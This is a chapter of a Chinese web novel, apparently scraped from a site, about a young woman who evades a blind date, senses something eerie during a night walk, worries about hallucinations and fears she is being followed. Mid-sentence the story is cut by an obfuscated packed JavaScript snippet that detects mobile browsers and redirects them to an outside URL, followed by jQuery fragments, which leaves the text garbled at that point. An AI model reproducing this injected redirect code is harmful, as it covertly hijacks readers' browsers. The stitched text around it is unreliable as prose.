3. 开端(三)

作品:《白日梦也要拯救世界

    “今天那个小伙子怎么样?”陈妈妈神秘兮兮地凑过来。


    “我拒绝了。”陈元音嚼着薯片,含糊不清地回答。


    “什么?拒绝了?”陈妈妈的脸顿时变得严肃起来,她半个身子趴在沙发上,手里抓着陈元音的手指,紧张兮兮问她,“怎么回事?”


    陈妈妈抓得她太紧,陈元音不动声色地将手指抽出来,“不喜欢啊,而且我不想这么着急,这种事情看缘分的。”


    “哧!”陈妈妈嗤笑一声,她忙着出门,倒是没有再问,“那你等着你的缘分吧!”她边说,边对着门口衣帽架上的镜子揪了揪头发,抓起包扭头就出门了。


    “上哪去啊!”陈元音人没下床,半个身子悬空倒在边缘,脸冲门口喊。


    “去参加保健会!”门口传回陈妈妈的声音,还有她摸索钥匙的声音,“晚饭你自己解决。还有!别忘了遛狗!”


    “好耶!”陈元音有气无力地躺在床上举起双手欢呼。


    “你妈这次这么好说话?”陈元音对着电脑敲敲打打,手机开着免提和谭琳琳闲聊。


    “可能是保健会太诱人,也可能是终于对我心灰意冷。”陈元音倒是美滋滋的,这场相亲能够全身而退,和她前一日回忆总结以往的经验小抄密不可分。


    “说不定想着词儿回来训你呢。”谭琳琳挖苦她,“高兴得太早了。”


    “人生嘛,开心一天是一天,先高兴上,别的再说,说不定她回来就忘了呢。咦?你等下我,我好像听见我家门响了。”


    陈元音脚踩拖鞋,手拿手机。她家里还住着以前教师分配的房子,门口还是老式的两道门,一道防盗门,一道正门。家里不是没有别的房子,但爸爸还没退休,这里离单位最近,走路几分钟就能到,于是平时还是住在老城区这里。


    她打开内侧的门,透过防盗门的纱窗向外看,楼道里漆黑一片,什么也没有。


    奇怪,她原地跺了下脚,声控灯应声响起,楼道里空空荡荡,什么也没有。


    “阿姨这么快就回来了?”谭琳琳的声音从电话传出来。


    “没有。”陈元音奇怪地关上门,挠了挠头,“可能是我听错了。”脚下的小狗拱着防盗窗,冲着陈元音呜呜两下。


    “你好傻。”电话里的谭琳琳沉默半晌,吐槽她。


    “哎呀!”陈元音一拍脑袋,“是小黄子挠门呢,我忘了遛狗了!”


    这个时候遛狗不算晚,毕竟养狗人风雨无阻。


    倒是她现在都还没有吃晚饭这件事更为重要,其实忘记时间也不能怪她,一鼓作气地写完项目大纲后就已经晚上八点半,修改修改和谭琳琳唠了几句就九点了,要不是狗子以为终于要出门了在她打开门的时候呜呜呜的挠门,她都不觉得自己饿。


    吃晚饭遛狗消食,正好一举两得。


    飞速的解决晚饭后,一人一狗正在沿着湖边的小路慢慢地走着,她想要找个安静点的地方边走路边思考。


    老北教给她的项目已经有了大致的雏形,周一得找黎韫商量一下,有几个模型的代码她拿不准,得问问其他人的意见。


    忽然,她听到湖边茂密的草丛里有些动静,她走进后又没了声音,倒是她牵着的小狗转着圈嗅来嗅去,低声犬吠发出隐隐的威胁声。


    她想,夜深人静的夜晚,在伸手不见五指的湖中,看不见荡漾的波纹,置身其中又会是什么感觉。


    这种感觉太奇怪了,她摸了摸自己起了一层鸡皮疙瘩的手臂,突然有一丝凉意。


    好像知道她在想什么似的,正在手中牵着的小狗低声呜咽,陈元音对着湖水胡思乱想的时候,头顶的小路灯“噗”的一下子灭了。


    陈元音一下子毛骨悚然,汗毛竖起。


    屋漏偏偏又逢雨,陈元音害怕了,她快步走了起来想要离开,但一向乖巧的小黄无论拽都拽不动。牵引绳都被绷直了,但它两只前爪仍扒着地面,屁股撅起来,眼睛盯着湖畔的灌丛中,喉咙发出低吼的声音。


    一向胆子大的陈元音这下彻底毛了,都说狗能看见不一样的东西,这地方因为路灯太暗,前后都鲜少有人散步路过。现在唯一的战斗力小黄又是这副模样,死活不肯走,她能做的就是死死地抓着绳子,不停地前后左右的侦察。


    头顶路灯灭得太快,她前后左右地张望的时候,只听见树叶沙沙作响,好像有什么过去了,又好像什么都没有。


    “小黄!”陈元音是真的害怕,她咬牙切齿地威胁,“你再不走,我就把你拴在这里明天再接你回家!”


    话音刚落,她感觉到手中的绳子没了阻力,小黄泄下了刚刚警戒十足的力道。


    谢天谢地,陈元音三步并两步,头也不回,几乎是一路小跑跑回了大道。经常熬夜气血亏空,这一路跑得她气喘吁吁,终于见到人之后才放下心来,狠狠松了一口才敢回头。


    身后有树叶响动,她好像看到一片衣角在灌丛中掠过,她揉了揉眼睛,手下的牵引绳绷得笔直,是小黄在催着她快走。


    这莫名其妙的一晚成功让陈元音破天荒地没有再考虑工作上的事情。


    “许医生,长期失眠会出现幻觉吗?”虽然没了那种奇怪的感觉,但她回家后想了许久,许多奇怪的事情都是自她失眠后开始吃药开始的,她还是打下这么一句话决定问一问。


    其实没想着今晚就能收到回复,没想到许医生的信息很快到达:“你出现了幻觉的症状?”


    怎么解释这件事情呢,毕竟许医生之前对那个奇怪的梦的解释也只是“那只是个梦而已”。陈元音正在思考怎么回的当头,许医生就等不及她手脚慢吞吞地措辞时间,语音电话随即就打了进来。


    他的语气十分严肃,“你出现了什么幻觉?”


    说来也不算什么重要的事,陈元音甚至觉得是不是自己想多了,毕竟人独身身处在黑暗的情况下,想象力会替她补充细节。


    她潦草地说了下今晚的事情,许医生沉思了一会儿,嘱咐她,“记得吃药,关注下做梦梦到的事情是否会出现在现实中。”


    陈元音再追问,许医生也只是含糊地解释了下说是大脑会记住一些平日里不曾关注的事情,如果出现幻觉的话也许会在梦中体现,严重的话他会根据情况换药。


    “记得吃药。”他重复。


    挂掉医生的电话,她立马搜索了关于幻觉,出现的第一条就是精神分裂症,幻觉幻听已经是躯体化症状之一,也难怪许医生一听到她出现幻觉就严肃起来。


    她说谎了,她根本没带药回家。


    怕爸妈看见她吃药担心,陈元音干脆就没带药回家,不过心里面藏这事,自然一晚上没睡个安稳。


    “元宝!”天都亮了,好不容易才松了松眼皮,陈妈妈的魔音就在耳边响起,陈元音睁开睡眼惺忪的双眼,耳边是妈妈冷静的声音,“你老实告诉我,你是不是根本就没去见那个人?”


    “哪个人?”陈元音眼是睁开了,脑子还在睡。


    “相亲的那个啊!”陈妈妈急了,她坐在床边上,趴在陈元音的被子上面,压得她身上好似千斤重,“你是不是根本就没去见那个人?”


    “没有啊,我见了啊。”还是当面拒绝的呢。陈元音奇怪极了,“是不是有点胖,个子不高,戴个黑框眼镜。”她极力地回想那人的特征,“穿个墨绿色和灰色相间的冲锋衣,嗯……就差不多这样吧!”


    陈妈妈是老师,又是自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398715|168673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己家孩子,撒没撒谎一眼就能看出来,她狐疑地问,“真的?”


    “真的!”陈元音就差对天发誓了,“你为什么这么问?”


    “你李阿姨说那男生说他根本没见到你。”


    知道她被吵醒的真相之后更生气了,陈元音似笑非笑,“然后你就直接断定我肯定没见他?”


    “我这不是来问你了吗!”陈妈妈振振有词。


    “你实话跟我说,真的见了?”


    “出去出去出去!”陈元音大怒,她伸出手臂猛晃动自己的被子,陈妈哎哟一声歪了下身子,不再趴到她的床上跟她讲话,一溜烟地跑了,关门前还喊她饭在桌上等会儿不要忘记吃。


    被这么一搅和哪儿还睡得着,陈元音半张脸蒙在被子里,气得两条长腿直剁床,这是她从小生气时发泄的方式。


    并不是起床气,而是对妈妈对外人的一句话全权相信,但对女儿的解释要求再三确认的不信任的态度感到无力又愤怒。


    “喝酒!我要喝酒!”


    酒精是最好的一忘皆空咒。


    俗话说,一醉解千愁,举杯消愁愁更愁。陈元音挑了个不算太远的烧烤店,约了谭琳琳吃小烧烤喝啤酒。


    谭琳琳从来千杯不醉,她捏着桌子上的小啤酒瓶子晃晃荡荡,鄙视陈元音,“这不就是水吗?”


    “女侠,你不是从来不带我去酒吧的吗?”陈元音撇嘴。她知道谭琳琳偶尔去酒吧买醉,但从来不会带她去,一提起来去酒吧就左顾右右其他。具在酒吧见过她的人说她这人千杯不醉,在酒吧也是独自一人走在那里独酌,颇有些落寞人的滋味。


    但她知道,谭琳琳从未谈过恋爱,于是这落寞人的传言颇具有些个人色彩了。


    “少来,喝酒对身体不好。”谭琳琳给自己倒上一满杯,在快要溢出时迅速用嘴吸掉最上层的泡沫,“就你那小身板,我都怕你哪天猝死了,就这样还喝酒呢。”


    “我是真的烦。”陈元音叹气,把苦恼一股脑全倒了出来,甚至包括怀疑自己得了精神分裂,被谭琳琳好一顿笑。


    谭琳琳是标准的大美女,她笑她的时候赏心悦目,陈元音一点都不觉得嘲讽,只觉得花痴。


    家家有本难念的经,谭琳琳不知如何劝她,陈元音说起家里事的时候,她也只是静静地听着,偶尔倒上一杯。等酒喝得差不多了,她人设不变的一点事儿都没有,面前的陈元音开始晕晕乎乎的摸不着边了。


    空旷的天空倏地打了个响雷,惊得路人一阵恐慌,怕是要下雨了。


    这一记响雷,酒醉也惊醒三分。


    “是不是得回家了?”陈元音瞪圆的眼睛也看不清外面到底下没下雨。


    “是,你要回哪个家?我送你。”


    谭琳琳结账后把包换了只手,另一只扶着陈元音,两人磕磕绊绊从烧烤店出来。


    虽然还未入夏,但空气中已经开始吹起黏黏糊糊的潮湿的热气了。


    等到人类发现自己被那道响雷欺骗,黢黑的天空没有一点要下雨的迹象的时候,散步的人都已经零零散散归家。


    如果开了广角,可以看到两个女孩从烧烤店出发,路过名槐街,顾名思义一条街种的都是老槐树,她们的目的地陈元音父母家,老住宅区白日里看着绿化极好,晚上便是静谧十分。


    路灯隐秘在道路两旁的老槐树中,槐树的树干弯弯曲曲,像极了动画片中古堡周围。谭琳琳感觉到她的袖子一路上都被攥得紧紧的,耳边传来陈元音极小的气音,害怕惊动什么人。


    “你也发现了有人在跟踪我,是不是?”陈元音的声音听起来快要哭了。


    树叶沙沙作响,风终于起了,这下好像真的要下雨了。